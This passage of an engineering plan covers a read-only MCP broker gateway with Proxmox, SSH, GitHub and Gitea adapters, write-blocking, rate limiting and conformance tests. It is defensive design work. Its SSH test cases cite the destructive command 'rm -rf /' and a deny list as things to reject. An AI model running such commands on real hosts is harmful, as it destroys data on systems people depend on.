M2 delivers the read-only MCP capability broker gateway and four Day-1 infrastructure adapters (Proxmox, SSH/Linux, GitHub, Gitea). 13 REQs (015-027) all pass. 656 tests green. M1 non-regression verified. MCP spec 2025-06-18 conformance verified (PROTOCOL.md + 7 tests). Defense-in-depth SSH (broker layer 1 + Relay Agent layer 2 + no-shell exec). Two-track LLM smoke (Track A mock-path P0 gate passes). CI: Gitea Actions (.gitea/workflows/ci.yml) with Postgres 16 + RLS verification. Phases shipped: P0 pre-execution v0.1.0 P1 Wave F — MCP gateway v0.1.1 P2 Wave G — Proxmox v0.1.2 P3 Wave H — SSH/Linux v0.1.3 P4 Wave I — Git adapters v0.1.4 P5 Wave J — SSE+smoke+UI v0.1.5 P6 Final — review+ship v0.1.6 ← milestone release ---ci--- phase: 6 milestone: v0.2 status: complete phase_role: final milestone_complete: true requirements: covered: [REQ-015, REQ-016, REQ-017, REQ-018, REQ-019, REQ-020, REQ-021, REQ-022, REQ-023, REQ-024, REQ-025, REQ-026, REQ-027] partial: [] ---/ci---
75 KiB
Plan — Milestone 2 (v0.1, M2: MCP Layer & Day 1 Adapters)
Source spec: .ciagent/steer-m2-spec.md (v1.0, locked 2026-08-25, Sarah Chen). All 9 open questions resolved; spec delta applied to REQ-015/021/027 acceptance criteria, Section 5 constraints, Section 9 M2→M3 contract freeze.
M2 scope: REQ-015..027 (13 REQs). MCP capability broker gateway + 4 Day-1 adapters (Proxmox, SSH/Linux via Relay Agent, GitHub, Gitea) + SSE streaming + token-bucket rate limiting + LLM smoke + Postgres 16 CI/RLS verification. M2 acceptance gate: spec §6 (15 items).
Architecture: .ciagent/ARCHITECTURE.md (M2 MCP broker section written). Decisions: .ciagent/CLARIFY.md (D-001..D-007; D-006 GitHub scopes, D-007 MCP transport). Research: .ciagent/RESEARCH.md (R-001..R-009, 7 flagged risks integrated below). Personas: .ciagent/PERSONAS.md (M2 roster: backend, data, frontend, lead, security, go-engineer for Wave H only). Requirements: .ciagent/REQUIREMENTS.md (REQ-015..027 with acceptance criteria + spec delta).
Note: This PLAN.md overwrites the M1 PLAN.md. The M1 plan is preserved in git history (commit prior to M2 overwrite). M1 is COMPLETE; all 17 M1 REQs (001-014, 038, 039, 040) must remain passing through M2 (M1 non-regression — gate item 1).
Phase mapping
M2 ships on the v0.1.x patch line (M1's previous minor). Phase 0 seeds v0.1.0; each execution phase ships a progressive patch; the final phase's patch (v0.1.6) IS the M2 milestone release. The milestone merge to main happens at the final phase.
| Phase | Wave | Branch | Patch tag | REQs covered |
|---|---|---|---|---|
| 0 | pre-execution | phase/00-pre-execution |
v0.1.0 |
(this plan) |
| 1 | Wave F — MCP Gateway core | phase/01-mcp-gateway |
v0.1.1 |
REQ-015, REQ-016, REQ-017, REQ-018, REQ-019, REQ-024 |
| 2 | Wave G — Proxmox adapter | phase/02-proxmox-adapter |
v0.1.2 |
REQ-020, REQ-025 |
| 3 | Wave H — SSH/Linux adapter (Relay Agent) | phase/03-ssh-adapter |
v0.1.3 |
REQ-021, REQ-026 (full) |
| 4 | Wave I — Git adapters | phase/04-git-adapters |
v0.1.4 |
REQ-022, REQ-023, REQ-027 |
| 5 | Wave J — SSE integration + LLM smoke + adapter UI | phase/05-sse-integration |
v0.1.5 |
REQ-017 integration, M2 gate item 8 (LLM smoke) |
| 6 | Final — Review + Audit + Ship | phase/06-final-review-ship |
v0.1.6 ← M2 milestone release |
all M2 (sign-off) |
Wave 0 prerequisites (not a spec REQ; MUST complete before Wave F):
- [G-011 P0] Build the CI/CD pipeline as an explicit Wave 0 task. Create
.gitea/workflows/ci.yml(Gitea Actions — the repo's forge is Gitea atgit.cloudinit.dev; Gitea Actions is GitHub Actions-compatible, same YAML syntax +secrets.*context + service containers) with two jobs:test-pglite(default) +test-postgres(service container +DB_MODE=pg). Postgres 16 service container withcoreci_app(no BYPASSRLS) +migrator(BYPASSRLS) role setup viasetup-ci-roles.sql(R-009). GitHub smoke PAT as Gitea Actions repository secret (secrets.GITHUB_SMOKE_PAT— a GitHub API token for the Track-B real-GitHub adapter smoke, stored in Gitea's secret store). Caching for pnpm + go modules. Coverage upload. This is M2 work, not an external prerequisite. Without it, 9 of 15 gate items are unprovable. - [G-022 P1] Run the full M1 test suite against Postgres 16 in Wave 0. After CI is provisioned, run the entire M1 test suite with
DB_MODE=pg. Any M1 RLS failure (cross-tenant SELECT, missingFORCE ROW LEVEL SECURITY, wrongWITH CHECK) is an M1-regression P0 that blocks M2 until fixed. Wave 0 is the first real-RLS test of M1. - Real GitHub PAT available in CI (ephemeral or test-org-scoped, stored as repository secret) for the Wave I real-target smoke + Wave J LLM smoke (gate item 8). Required for the optional real-GitHub smoke track (G-018); the P0 mock-path smoke does not depend on it.
Grill fixes applied (G-011..G-022)
This plan was grilled (.ciagent/GRILL.md, verdict FAIL → auto-resolved at full autonomy with all 12 binding fixes applied). The 12 binding fixes (continuing from M1 GRILL's G-001..G-010) are integrated below and flagged inline as [G-NNN]. Summary:
- G-011 (P0): Build the CI/CD pipeline as an explicit Wave 0 task (not a "prerequisite"). Applied above.
- G-012 (P1): Own the M1
AuditEventTypeunion extension as an explicit M1-file edit in Wave F (type widening, not "additive — no schema change" at the TS layer). - G-013 (P1): Expand the cross-layer SSH test to a divergence matrix in Wave H (both-reject, both-accept, broker-rejects-Go-accepts, Go-accepts-broker-rejects). Tighten the Go deny list to include bare
rmor validatesystemctl statustrailing args. - G-014 (P1): Document the known closed-tool-set gaps in the Settings → Adapters UI help text in Wave J.
- G-015 (P1): Correct the INV-7 framing: the closed 9-tool registry (REQ-015) is the primary boundary; the write-blocklist is a backstop for adapter bugs. Document in Wave F PROTOCOL.md.
- G-016 (P1): Separate the write-blocklist into two enforcement models (method blocklist for Proxmox/Gitea; scope-via-403 for GitHub). Document GraphQL/PVE-GET-with-side-effects future risks in PROTOCOL.md.
- G-017 (P1): Add a 7th MCP conformance test over stdio transport in Wave F (
stdio-interop.test.ts) — proves an external MCP client can connect. - G-018 (P0): Add a
github-mockadapter and a two-track LLM smoke in Wave J. Mock-path (canned repos) is the P0 gate; real-path (real GitHub) is optional/allow-failure. - G-019 (P0): Harden
packages/llm-mockpattern matching (regex set, not 2-word conjunction) + add retry policy for real-GitHub smoke in Wave J. - G-020 (P1): Ship a documented
McpAdapterinterface in Wave F that both in-process adapters (G/I) and the WebSocket-backed SSH adapter (H) implement. - G-021 (P1): Add M1-relay-WS regression test in Wave H + restructure the Go agent reader goroutine to dispatch on
typebefore unmarshaling. - G-022 (P1): Run the full M1 test suite against Postgres 16 in Wave 0. Applied above.
Flagged risk mitigations (from RESEARCH R-001..R-009)
For each of the 7 flagged risks, the wave that addresses it and how:
| # | Risk | Wave | Mitigation |
|---|---|---|---|
| R-001 | Synthetic MCP initialize/initialized handshake for in-process adapters (lowest-confidence gate item 15) |
Wave F | Implement a lightweight synthetic lifecycle exchange at adapter registration (broker → {method:"initialize", params:{protocolVersion:"2025-06-18", capabilities:{tools:{listChanged:false}}}}, adapter → {capabilities:{tools:{}}}). Produce packages/mcp/PROTOCOL.md + 6 conformance tests in tests/mcp-conformance/ (gate item 15 artifact). |
| R-002 | PVEAuditor role introspection gap (PVE has no clean "what role does this token have" endpoint) | Wave G | Broker validates "token works for reads" (GET /api2/json/version + GET /api2/json/nodes) at submit, NOT "token lacks writes." Document the introspection gap in the Settings → Adapters UI help text ("Create a token with PVEAuditor role"). The broker write-method blocklist (reject POST/PUT/DELETE) is the load-bearing INV-7 boundary. Confidence 0.70 on this sub-point. |
| R-004 | GitHub fine-grained PAT scope introspection gap (no public API to list a fine-grained PAT's granted scopes) | Wave I | Submit-time: github_pat_ prefix check (reject classic PATs) + GET /user (validates token + implicit metadata:read). Per-invocation: handle 403 with X-Accepted-GitHub-Permissions header (e.g., actions=read required) → HTTP 403 "insufficient scope" + adapter.capability_invoked with result=failure (NOT write_rejected — no write attempted). Document in UI. |
| R-005 | Gitea runtime verification (docs page required JS; findings from spec + GitHub-mirroring conventions) | Wave I | Verify GET /api/v1/version, GET /api/v1/user/repos, GET /api/v1/repos/{owner}/{repo}/actions/runs against a running Gitea 1.22+ AND a <1.22 instance during Wave I. Confirm read:repository scope behavior (≥1.22) and the Authorization: token <token> header. Confidence 0.72 → raise by runtime verification. |
| R-003 | Cross-layer SSH defense-in-depth test (two independent whitelist implementations: TS broker layer 1, Go agent layer 2) | Wave H | Add a cross-layer test asserting a non-whitelisted command (rm -rf /) is rejected by BOTH the broker (layer 1, TS) AND the Relay Agent CheckCommand (layer 2, Go). Keep the two implementations semantically in sync but code-independent (a bug in one doesn't bypass the other). |
| R-006 | 30s stream-not-opened timeout (orphan adapter calls if client never opens the SSE stream) | Wave F | Stream manager enforces a 30s "stream not opened" timeout: if GET /api/mcp/stream/:correlationId isn't called within 30s of POST /api/mcp/invoke, cancel the adapter call and delete the correlation context. Plus a 60s max-stream lifetime safety net for orphaned contexts. |
| R-009 | Wave 0 RLS assertions (M1 pen-test has placeholder expect(true).toBe(true) because PGlite doesn't enforce RLS on SELECT) |
Wave 0 | Deliver packages/db/scripts/setup-ci-roles.sql (coreci_app no BYPASSRLS, migrator BYPASSRLS). Parameterize the pen-test by DB_MODE (pglite default, pg in CI). Replace placeholder with real RLS WITH CHECK assertions gated on DB_MODE=pg. Two CI jobs: test-pglite + test-postgres (service container). |
Additional research decisions integrated (D-M2-R001..R009, all above 0.6 threshold): D-M2-R004 GitHub classic-PAT rejection by prefix; D-M2-R005 Gitea version-aware scope routing; D-M2-R006 SSE no-audit-on-client-cancel; D-M2-R007 token-bucket refund-on-tenant-fail + no-audit-on-429; D-M2-R008 packages/llm-mock import-guarding (eslint no-restricted-imports + build-time grep).
User-Facing Surface (MVP/UX §1)
M2 ships TWO user-facing surfaces in the existing M1 dashboard (apps/control-plane/app/(dashboard)/). Non-UI surfaces (the MCP broker gateway, the 4 adapters, the packages/llm-mock CI-only smoke provider, the mcp_adapters Postgres table) are backend and verified by tests, not by user demonstration.
Surface 1 — Settings → Adapters configuration UI (/dashboard/settings/adapters)
- Adapter type picker: Proxmox / GitHub / Gitea / SSH (the 4 Day-1 adapter types; closed set, no "custom adapter" option).
- Per-adapter config forms: type-specific fields:
- Proxmox:
host(HTTPS URL),PVEAuditortoken (secret),allowSelfSignedtoggle (R-002 — common for customer PVE labs). - GitHub:
host(defaults toapi.github.com), fine-grained PAT (secret). Help text: "Create a fine-grained PAT withmetadata:read+actions:readminimum. Classic PATs (ghp_) are rejected." - Gitea:
host(customer Gitea URL), read-only token (secret),allowSelfSignedtoggle. Help text: "Gitea ≥1.22 requiresread:repositoryscope. Gitea <1.22 accepts any token (broker enforces write-method blocklist)." - SSH:
hostname,port(default 22), Relay registration token (secret; resolves to the M1 Relay Agent target). Help text: "Install the M1 Relay Agent on the target host first; paste the registration token here."
- Proxmox:
- SecretProvider-backed credential entry: all secrets enter via
SecretProvider.put(INV-3); the DB stores onlysecret_ref. The UI never displays the raw secret after submit (redacted, edit-only). - Role/scope validation on submit (REQ-025, REQ-026, REQ-027): the broker validates the token at submit time and returns a structured pass/fail. On failure → HTTP 422 with role/scope-violation error, no config persisted, UI shows the error inline.
- "Test connection" button: invokes the
test_connectioncapability (REQ-016) through the closed tool registry; returns structured pass/fail within 5s (spec Journey 1 Step 7). - Audit event confirmation: after a successful save, the UI shows "Saved (audit event
adapter.configuredappended)." - Multi-target support (REQ-024): the config form supports multiple adapters of the same type (e.g., 2 Proxmox hosts). Each row has a
target_id(display name) so the Test-Call UI's target picker can disambiguate. - PVEAuditor introspection gap (R-002): the Proxmox config form's help text documents that the broker validates "token works for reads," not "token lacks writes," and the operator is responsible for creating a PVEAuditor-scoped token.
Surface 2 — Test-Call UI (/dashboard/test-call)
- Capability picker: the closed 9-tool set from
GET /api/mcp/tools(REQ-015). Tools are grouped by adapter type in the dropdown. Per-tenant policy may disable individual tools (greyed out in the picker). - Argument forms: each tool's arguments are rendered from the tool's JSON Schema
inputSchema(REQ-015) — required fields marked, type-validated on submit. Invalid args → inline validation error (mirrors the broker's HTTP 400 schema-validation error, Edge 4). - Target picker for multi-target tenants (REQ-024): when a tenant has ≥2 adapters of the same type, the UI surfaces a target picker. If the user submits a same-type capability without selecting a target, the broker returns HTTP 400 "target required" (Edge 3) and the UI prompts for selection.
- SSE stream consumer (REQ-017): the UI opens an
EventSourceonGET /api/mcp/stream/:correlationIdand renders events as they arrive (id,event,datafields per SSE spec). Terminal eventsdone(completion) /error(failure) close the stream. - Staleness indicator for inventory calls: for
list_*capabilities (inventory, 60s TTL cache), the UI shows "cached Xs ago" when the result is served from cache. For live capabilities (non-list_*), no staleness indicator (fresh result). (Spec Journey 2 Step 6.) - Result rendering: tool results render as JSON in a collapsible tree. Errors render with the
isError: trueflag surfaced.
Non-UI surfaces (verified by tests, not user demo)
- The MCP broker gateway (
packages/mcp): registry, router, write-blocklist, rate-limiter, stream-manager, translator, in-process transport. - The 4 adapters (
packages/mcp/adapters/{proxmox,ssh,github,gitea}). - The
packages/llm-mockCI-only LLM smoke provider (devDependency, import-guarded). - The
mcp_adaptersPostgres table (tenant-scoped, RLS). - The 5 gateway REST+SSE endpoints (M2→M3 contract freeze, spec §9).
Happy Path (MVP/UX §2)
Given a fresh M2 deployment with M1 complete (SSO, BYOM, Relay Agent, audit, RLS, secrets operational) and Wave 0 prerequisites met (CI Postgres 16 with role setup, real GitHub PAT available in CI), when Sam (Tenant Admin) configures and validates all four Day-1 adapters and runs a Test-Call, then the M2 acceptance gate (spec §6) passes: all 4 adapters respond to a test call, multi-target scoping is functional, read-only enforcement is verified at the broker (INV-7), LLM smoke passes, M1 non-regression.
BDD steps (Given/When/Then) — written BEFORE EXECUTE
Adapter config + validation (Journey 1):
- Given Sam is signed in via WorkOS SSO (M1) as
admin, when Sam navigates to Settings → Adapters and clicks "Add adapter", then the adapter type picker shows exactly 4 types (Proxmox, GitHub, Gitea, SSH). - Given Sam selects "Proxmox" and enters
host+ aPVEAuditortoken, when Sam submits, then the broker validates the token (GET /api2/json/version+GET /api2/json/nodessucceed — R-002),SecretProvider.putstores the token, themcp_adaptersrow is inserted underwithTenant+ RLS,adapter.configuredis appended toaudit_log, and the UI confirms save in <5s. - Given a Proxmox adapter is configured, when Sam clicks "Test connection", then the broker invokes
test_connectionthrough the closed tool registry, returns a structured pass/fail within 5s, andadapter.test_connection.succeeded(or.failed) is appended. - Given Sam submits a Proxmox token that fails
GET /api2/json/version(invalid token), when the broker validates, then submission returns HTTP 422 with role-violation error and no config is persisted (REQ-025). - Given Sam submits a GitHub classic PAT (
ghp_...), when the broker validates scope, then submission returns HTTP 422 "fine-grained PAT required" and no config is persisted (D-006). - Given Sam submits a GitHub fine-grained PAT (
github_pat_...) that passesGET /user, when the broker validates, then the config is persisted withvalidated=true(implicitmetadata:read);actions:readis validated per-invocation (R-004). - Given Sam submits a Gitea token for a Gitea ≥1.22 instance, when the broker calls
GET /api/v1/user/repos?limit=1and it returns 403, then submission returns HTTP 422 "insufficient scope —read:repositoryrequired" (R-005). - Given Sam submits a Gitea token for a Gitea <1.22 instance, when the broker validates, then the token is accepted (any valid token) with the broker-side write-method blocklist as the security backstop.
- Given Sam submits an SSH adapter config (hostname + Relay registration token), when the broker stores the token via
SecretProvider.put, then themcp_adaptersrow is persisted andadapter.configuredis appended (REQ-026).
Test-Call capability invocation (Journey 2):
- Given a Proxmox adapter is configured and rate limits are not exceeded, when Sam invokes
proxmox.list_vms(withnodearg) via the Test-Call UI, then the broker mints a ULID correlation ID, returns{correlationId, streamUrl}, the UI opens an SSE stream, the adapter callsGET /api2/json/nodes/{node}/qemu, the stream emitstool_resultevents and terminates withdone, andadapter.capability_invokedis appended withcorrelation_id. - Given
proxmox.list_vmswas invoked within the last 60 seconds, when Sam invokes it again, then the broker returns the cached result with a "cached Xs ago" staleness indicator in the UI (inventory TTL cache, LRU). - Given Sam invokes a non-
list_*capability (e.g.,proxmox.get_node_metrics), when the call completes, then the UI shows the fresh result with NO staleness indicator (live path). - Given Sam invokes
github.list_reposvia the Test-Call UI, when the adapter callsGET /user/repos?per_page=100(real GitHub PAT), then the normalized repo list streams back and the UI renders it. - Given Sam invokes
ssh.run_whitelisted_commandwithcommand: "uptime", when the broker validates (layer 1) and dispatches to the Relay Agent, then the agent'sCheckCommand(layer 2) passes,exec.Command("uptime")runs (no shell), and the output streams back.
Write rejection at broker (Edge 1, INV-7):
- Given a malicious payload attempts
proxmox.shutdown_vmviaPOST /api/mcp/invoke, when the request reaches the broker, then the broker's write-method blocklist rejects with HTTP 403,adapter.write_rejectedis appended, and the adapter is NEVER invoked (verified by test per adapter at the M2 gate).
SSH whitelist violation (Edge 7, defense-in-depth):
- Given Sam attempts
ssh.run_whitelisted_commandwithcommand: "rm -rf /", when the broker validates (layer 1, 6-command subset), then the broker rejects with HTTP 403 +adapter.write_rejected(the command is not in the 6-command subset) — the Relay Agent is never reached. And the cross-layer test (R-003) asserts that IF the broker were bypassed, the Relay AgentCheckCommand(layer 2) would also reject.
Multi-target disambiguation (Edge 3):
- Given a tenant has 2 Proxmox adapters configured (target_a, target_b), when Sam invokes
proxmox.list_vmswithout selecting atarget_id, then the broker returns HTTP 400 "target required" with a list of available targets, and the UI surfaces the target picker.
Rate limit (Edge 5):
- Given Sam has exceeded 60 req/min (user bucket), when Sam invokes any capability, then the broker returns HTTP 429 with
Retry-Afterheader and no adapter call is made (REQ-019). - Given the tenant has exceeded 300 req/min (tenant bucket), when any user in that tenant invokes a capability, then the broker returns HTTP 429 with
Retry-Afterand refunds the user token (fairness, D-M2-R007).
SSE client disconnect (Edge 8):
- Given an SSE stream is open on
GET /api/mcp/stream/:correlationIdand the client disconnects mid-stream, when the broker detects theEventSourceclose (req.signalabort), then the in-flight adapter call is cancelled, the correlation context is deleted, and NO audit event is appended for the client-side cancellation (spec Edge 8).
LLM smoke (M2 gate item 8, P0 — not deferrable):
- Given CI starts the control plane with
packages/llm-mockas the BYOM endpoint and a real GitHub adapter (real PAT, test-org-scoped), when the smoke test sendsPOST /v1/chat/completionswithtools=[github.list_repos]and prompt "List my GitHub repositories.", then llm-mock returnstool_calls:[{function:{name:"github.list_repos", arguments:"{}"}}], the broker translates to MCPtools/call, routes to the GitHub adapter, the adapter callsGET /user/repos(real GitHub), the broker translates the result to an OpenAI tool message, llm-mock synthesizes a grounded response, and the test asserts the response contains real repo names from the CI test org.
UX Acceptance Criteria (MVP/UX §3)
Pass/fail criteria (all must pass for M2 ship):
- Adapter config saves in <5s with validation feedback (success or HTTP 422 role/scope-violation error inline).
- "Test connection" returns in <5s with structured pass/fail;
adapter.test_connection.{succeeded,failed}audit event appended. - Test-Call SSE stream starts within 100ms of
POST /api/mcp/invokereturning{correlationId, streamUrl}(NFR: SSE chunk delivery <100ms). - Staleness indicator shows "cached Xs ago" for cached inventory (
list_*) calls; no indicator for live calls. - Write attempts rejected at broker with 403 before adapter invocation (INV-7 — verified by a test per adapter at the M2 gate; the adapter is never invoked for write methods).
- SSH non-whitelist commands rejected at broker (layer 1) AND Relay Agent (layer 2) (defense-in-depth, R-003 cross-layer test).
- Multi-target picker surfaces when ≥2 same-type adapters are configured; submitting without
target_idreturns HTTP 400 "target required." - Rate limit 429 with
Retry-Afterwhen user >60/min OR tenant >300/min; no adapter call made on 429. - LLM smoke returns grounded response with real repo names from the CI test org (P0 gate item 8 — not deferrable to M3).
- M1 non-regression: all M1 tests still pass (gate item 1).
- Coverage ≥ 80% on new M2 modules (
packages/mcp/**,packages/llm-mock, adapter UI components) (gate item 3).
Wave F — MCP Gateway core (Phase 1)
Goal: The MCP capability broker gateway: closed tool registry, adapter router, write-method blocklist enforcer (INV-7 at broker — the load-bearing safety boundary), token-bucket rate limiter, SSE stream manager, OpenAI↔MCP translator, in-process custom transport, synthetic MCP initialize handshake (R-001). mcp_adapters table with RLS. No adapter implementations yet (those are waves G/H/I) — Wave F ships the broker with stub adapters for testing.
Depends on: Phase 0, Wave 0.
REQs covered: REQ-015, REQ-016, REQ-017, REQ-018, REQ-019, REQ-024.
Personas: backend-engineer (broker modules), data-engineer (table + RLS), security-engineer (sign-off on write-method blocklist + INV-7 at broker).
Patch tag: v0.1.1. Branch: phase/01-mcp-gateway.
Tasks
-
mcp_adapterstable + migration + RLS (data-engineer)- Migration
packages/db/migrations/0002_mcp_adapters.sql:mcp_adapters (id uuid PK, tenant_id uuid, adapter_type text CHECK in (proxmox,ssh,github,gitea), target_id text, config jsonb, secret_ref text, validated boolean, created_at timestamptz, updated_at timestamptz). UNIQUE(tenant_id, adapter_type, target_id). RLS policy: tenant-scoped SELECT/INSERT/UPDATE/DELETE withWITH CHECK (tenant_id = current_setting('app.tenant_id')::uuid).ALTER TABLE ... FORCE ROW LEVEL SECURITY. - Verify against real Postgres 16 in CI (Wave 0
DB_MODE=pgjob), not PGlite.
- Migration
-
packages/mcp/registry.ts— closed 9-tool registry with JSON Schema inputSchemas (backend-engineer)- 9 tools (REQ-015 frozen set):
proxmox.list_vms(inventory,{node: string}),proxmox.get_vm_status(live,{node: string, vmid: integer}),proxmox.get_node_metrics(live,{node: string}),ssh.run_whitelisted_command(live,{command: string}),github.list_repos(inventory,{}),github.get_recent_ci_runs(live,{owner: string, repo: string, per_page?: integer, status?: string}),github.get_workflow_run(live,{owner: string, repo: string, run_id: integer}),gitea.list_repos(inventory,{}),gitea.get_recent_ci_runs(live,{owner: string, repo: string, limit?: integer}). - Each tool:
{name, description, inputSchema}(JSON Schema object withtype:"object"). ExportMCP_PROTOCOL_VERSION = "2025-06-18". - Per-tenant policy:
disabledTools: Set<toolName>— may disable individual tools but never add new ones (closed registry). Registry metadataisInventory: booleanis the cache authority (NOT MCPannotations, which are advisory/untrusted per R-001). - Argument validation: any tool call with args not matching
inputSchema→ HTTP 400 with schema-validation error (Edge 4) BEFORE adapter invocation.
- 9 tools (REQ-015 frozen set):
-
packages/mcp/router.ts— adapter router (backend-engineer)- Resolves
(tenant_id, adapter_type, target_id)tuples to adapter instances (REQ-016). Readsmcp_adaptersunderwithTenant+ RLS. Routing errors (unknown adapter, target offline) → HTTP 404 with structured error. - Multi-target scope disambiguation (REQ-024): if a tenant has ≥2 adapters of the same type and no
target_idis provided, return HTTP 400 "target required" with a list of available targets (Edge 3).
- Resolves
-
packages/mcp/write-blocklist.ts— per-adapter write-method blocklist enforcer (security-engineer + backend-engineer) — INV-7 BACKSTOP [G-015, G-016]- [G-015] Framing correction: The closed 9-tool registry (REQ-015) is the PRIMARY INV-7 boundary —
proxmox.shutdown_vmis not a tool and cannot be routed. The write-method blocklist is defense-in-depth against adapter bugs (an adapter mistakenly constructing a non-GET). Security review must audit BOTH the registry (closed enumeration) AND the blocklist (method reject). Document this framing inPROTOCOL.mdand the module docstring. - [G-016] Two enforcement models: (a) Method blocklist (Proxmox/Gitea: pre-dispatch HTTP-method check — reject POST/PUT/DELETE/PATCH; REST-specific). (b) Scope-via-403 (GitHub: runtime 403 +
X-Accepted-GitHub-Permissionshandling, per R-004 — NOT a pre-dispatch method check, because GitHub fine-grained PAT scopes are not introspectable). These are distinct mechanisms; do not conflate them. - [G-016] Future risks documented in PROTOCOL.md: "The method blocklist is REST-specific. A future GraphQL adapter (not in M2) needs a different enforcement model (operation allowlist, not HTTP method — GraphQL uses POST for both queries and mutations). PVE has some GET endpoints with side effects; the 3 M2 endpoints (
/nodes,/nodes/{node}/qemu,/nodes/{node}/qemu/{vmid}/status/current,/nodes/{node}/status) are verified read-only. An endpoint allowlist (only permit specific paths) is the M3+ evolution if the tool set grows." - Per-adapter blocklist (spec §5): Proxmox POST/PUT/DELETE; SSH non-whitelist commands (6-command subset per REQ-021); GitHub scopes outside
metadata:read+actions:read(validated per-invocation via 403 +X-Accepted-GitHub-Permissions); Gitea POST/PUT/DELETE/PATCH on all endpoints. - 100% of write attempts rejected at broker with HTTP 403 +
adapter.write_rejectedaudit event; adapter NEVER invoked. Verified by a test per adapter at the M2 gate. - Order of enforcement (R-007): auth → tenant resolve → RBAC → rate-limit check → write-method blocklist → adapter resolve → invoke. Rate limit is the outermost gate; write-blocklist is the INV-7 gate.
- [G-015] Framing correction: The closed 9-tool registry (REQ-015) is the PRIMARY INV-7 boundary —
-
packages/mcp/rate-limiter.ts— token-bucket, in-memory (backend-engineer)- Per user (capacity=60, refill=1/sec) AND per tenant (capacity=300, refill=5/sec). Both must pass (AND logic). Refund user token on tenant-fail (fairness, D-M2-R007). O(1) check <5ms (NFR).
RateLimiterinterfacePromise-returning now (M2 sync impl wrapped in Promise) so M3 can swap inRedisRateLimiterwith no signature change (D-M2-R007). Redis migration path documented in code comments.- On reject: HTTP 429 +
Retry-After: <seconds>header (RFC 7231). Body{error:"rate_limited", retryAfterSec}. No adapter call made. Do NOT audit 429s (not adapter events; could amplify a flood — log at warn level instead).
-
packages/mcp/stream-manager.ts— SSE stream manager (backend-engineer)- In-memory
Map<correlationId, CorrelationContext>. Context:{correlationId, tenantId, userId, adapterType, toolName, controller?, abortController, createdAt}. - ULID correlation IDs (26-char, lexicographically sortable) minted at
POST /api/mcp/invoke(addulidnpm dep topackages/mcp). SSE event format:id: <ulid>-<seq>\nevent: tool_result\ndata: {"content":[...],"isError":false}\n\n. Terminal eventsdone/error. - 30s stream-not-opened timeout (R-006): if
GET /api/mcp/stream/:correlationIdisn't called within 30s ofPOST /invoke, cancel the adapter call and delete the context. Plus 60s max-stream lifetime safety net. - Client disconnect (Edge 8): on
req.signalabort, cancel in-flight adapter call (AbortController), delete context, NO audit event for client-side cancellation. Guard with aclosedflag (abort may fire after normal close). - Backpressure: cap controller queue at 100 events; if exceeded, cancel with "client too slow."
- In-memory
-
packages/mcp/translator.ts— OpenAI↔MCP translation (backend-engineer)tool_calls[i].function.name→params.name;JSON.parse(tool_calls[i].function.arguments)→params.arguments(parsed JSON object — pitfall: OpenAI sendsargumentsas a JSON string; MCP expects an object; handle parse failures as protocol errors, not tool execution errors).- MCP
result.content[].text + isError→ OpenAI tool message{role:"tool", tool_call_id, content}.isError:false→content: result.content[0].text(concatenate if multiple).isError:true→content: "ERROR: " + result.content[0].text(M2 convention; OpenAI has no nativeisError).
-
packages/mcp/transport/in-process.ts— in-process custom MCP transport with syntheticinitialize/initializedhandshake (R-001) (backend-engineer)- JSON-RPC 2.0 messages (
tools/list,tools/call) passed in-process between broker and TS adapter modules (no wire serialization, but shape must match). D-007. - Synthetic lifecycle exchange at adapter registration (R-001 mitigation): broker →
{method:"initialize", params:{protocolVersion:"2025-06-18", capabilities:{tools:{listChanged:false}}}}, adapter →{capabilities:{tools:{}}}. Cheap; produces clean conformance evidence.
- JSON-RPC 2.0 messages (
-
API routes (backend-engineer + frontend-engineer for route handlers)
GET /api/mcp/tools— list tools (MCPtools/listfacade; returns 9-tool closed set; per-tenant disabled tools filtered).POST /api/mcp/invoke— invoke a capability; mints ULID, creates correlation context, kicks off adapter call async, returns{correlationId, streamUrl}. Order: auth → tenant → RBAC → rate-limit → write-blocklist → resolve → invoke.GET /api/mcp/stream/[correlationId]/route.ts— SSE stream (runtime = "nodejs",dynamic = "force-dynamic"per R-006).Content-Type: text/event-stream,Cache-Control: no-cache,Connection: keep-alive.POST /api/mcp/adapter— configure an adapter (J1 Step 3). Validates role/scope at submit (REQ-025/026/027),SecretProvider.put, INSERT underwithTenant+ RLS,adapter.configuredaudit.PATCH/DELETE /api/mcp/adapter/:id— update/remove adapter config.- All routes use M1 patterns:
requireAdmin/requireReadauth guard (mirrorsapps/control-plane/app/api/byom/route.ts),withTenant,appendAudit.
-
Audit event types (backend-engineer) [G-012]
- [G-012] M1-file edit (type widening, NOT "additive — no schema change" at the TS layer): Extend
AuditEventTypeinpackages/db/src/audit.ts(M1 source file) withadapter.configured | adapter.test_connection.succeeded | adapter.test_connection.failed | adapter.capability_invoked | adapter.write_rejected. The DB column (audit_log.event_type) isTEXTwith no CHECK constraint, so no DB migration. ButappendAudit(client, event: AuditEvent)is typed toevent.eventType: AuditEventType— passing the new types is a TS compile error without the union extension. This is a backward-compatible type widening (M1 tests still pass). - New event types:
adapter.configured,adapter.test_connection.succeeded,adapter.test_connection.failed,adapter.capability_invoked,adapter.write_rejected. All hash-chained via M1appendAudit(packages/db/src/audit.ts). Includecorrelation_idfield for capability invocations.
- [G-012] M1-file edit (type widening, NOT "additive — no schema change" at the TS layer): Extend
-
Multi-target scope disambiguation (REQ-024) (backend-engineer)
- Broker returns HTTP 400 "target required" with a list of available targets when ≥2 same-type adapters exist and no
target_idis provided (Edge 3).
- Broker returns HTTP 400 "target required" with a list of available targets when ≥2 same-type adapters exist and no
-
MCP conformance verification artifact (R-001) (backend-engineer + security-engineer) [G-017]
tests/mcp-conformance/(7 tests, all must pass — gate item 15):tools-list.test.ts—GET /api/mcp/toolsreturns 9 tools with{name, description, inputSchema}matching REQ-015 exactly. Snapshot the fulltools/listresponse.tools-call-happy.test.ts— mock adapter invocation returns MCP result shape{content:[{type:"text",text}], isError:false}via SSE.tools-call-error.test.ts— mock adapterisError:truereturns MCP error shape via SSEerrorterminal event.tools-call-invalid-args.test.ts— args failinginputSchema→ HTTP 400 schema-validation error (broker rejects before adapter).translator.test.ts— OpenAItool_calls↔ MCPtools/callbidirectional translation, includingargumentsstring→object parse andisError→content prefix.lifecycle.test.ts— in-process custom transport syntheticinitialize/initializedhandshake preserves JSON-RPC 2.0 envelope.- [G-017]
